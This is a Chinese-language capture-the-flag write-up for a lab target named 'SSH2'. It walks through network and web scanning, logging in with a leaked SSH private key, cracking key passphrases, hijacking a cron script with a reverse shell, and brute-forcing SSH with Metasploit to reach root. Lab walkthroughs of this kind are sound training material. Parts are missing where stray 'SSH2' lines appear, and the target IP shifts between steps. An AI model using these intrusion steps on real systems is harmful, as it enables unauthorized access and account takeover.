SSH2

靶机IP:192.168.56.104
攻击机IP:192.168.56.105

一、靶机IP地址发现

netdiscover -r 192.168.56.1/24

二、端口服务扫描

nmap -sV 192.168.56.104
nmap -A -T4 -v 192.168.56.104

三、目录扫描

dirb http://192.168.56.104
nikto -host http://192.168.56.104
对于大端口要特别注意,是HTTP服务的用浏览器http://IP:大端口号访问;非HTTP的用命令查看nc IP 大端口号

四、获得用户权限

1获得第一个用户权限

通过敏感目录发现私钥文件,保存下来后,赋权。然后试着ssh -i id_rsa [email protected] 直接回车登录martin用户成功。(这里的私钥文件id_rsa是没有解密密码的 ,所以可以直接使用。如果像【3.CTF-SSH私钥泄露】中的私钥文件是有密码的,则需要如下命令来**:
locate ssh2john//获得ssh2john位置
python ssh2john位置 > rsacrack//**后重定向到rsacrack文件
john rsacrack//**出密码)

2扩大战果

whoami//查看当前用户
id//查看当前用户权限
cd /home//进入家目录
ls //查看有哪些用户,发现除了martin,还有jimmy 和hadi
cd /root//查看根目录 寻找flag文件,如果是root权限,那么表明该靶场被全部拿下。但是如果不是,就肯定要提权,一般情况下,flag文件只属于root用户和对应的用户组。此时发现martin不是root权限,需要进一步提权。

五、提权(root)

提权方式1:利用计划任务
在martin用户下
SSH2
cat /etc/crontab//查看martin用户下的定时任务,发现该用户没有定时任务,但是jimmy用户tmp目录下有sekurity.py定时任务,那么我们可以创建同名反弹shell,然后nc 执行监听来获取jimmy用户的权限,进而可以查看jimmy用户是否有root权限。
nc -nlvp 4445//先打开nc监听。netstat -pantu命令可以查看已占用端口。
cd /tmp//进入martin用户缓冲文件目录
touch 1.py//创建临时1.py文件,写反弹shell
vi 1.py//进入编辑模式,按i键进入输入模式,输入以下代码(仔细输入,输错麻烦,ctrl+方向键 进入上下行 编辑完成esc键,再:wq键保存退出
SSH2
mv 1.py sekurity.py//重命名成jimmy用户下的sekurity.py。同名覆盖。
chmod +x sekurity.py//赋予可执行权限
等待5分钟(因为jimmy下的定时任务就是5分钟执行),最后获得反弹shell。此时同样执行第二步扩大战果步骤,发现jimmy同样没有root权限。只能暴力破最后一个用户hadi
SSH2
本次****里没有用到hydra和medusa工具,而是用metasploit来进行**,**钱先使用cupp创建密码字典,下载的cupp放到root 目录下 common-password文件夹内。

msfconsole//启动metasploit的msfconsole模式
use auxiliary/scanner/ssh/ssh_login//使用该payload
show options
set rhosts 192.168.56.103//设置靶机IP
set username hadi
set pass_file /root/common-password/hadi.txt
set verbose true//显示**过程
set threads 5//设置线程为5
等待**完成,非常慢 **密码为hadi123

back//重新设置
use auxiliary/scanner/ssh/ssh_login//使用该payload
show options
set rhosts 192.168.56.103//设置靶机IP
set username hadi
set password hadi123
run
sessions -i 1//
SSH2
python -c “import pty;pty.spawn(’/bin/bash’)”//优化会话窗口
su - root//因为知道hadi用户密码,所以尝试通过su命令进入root
hadi123//输入密码
id
cd /root
ls -alh
cat flag.txt
完成!

cd /tmp//进入缓冲文件目录
ls -alh//查看缓冲文件目录

cat /etc/passwd//查看所有用户的列表
cat /etc/group//查看用户组
find / -user 用户名//查看属于某些用户的文件
/tmp 查看缓冲文件目录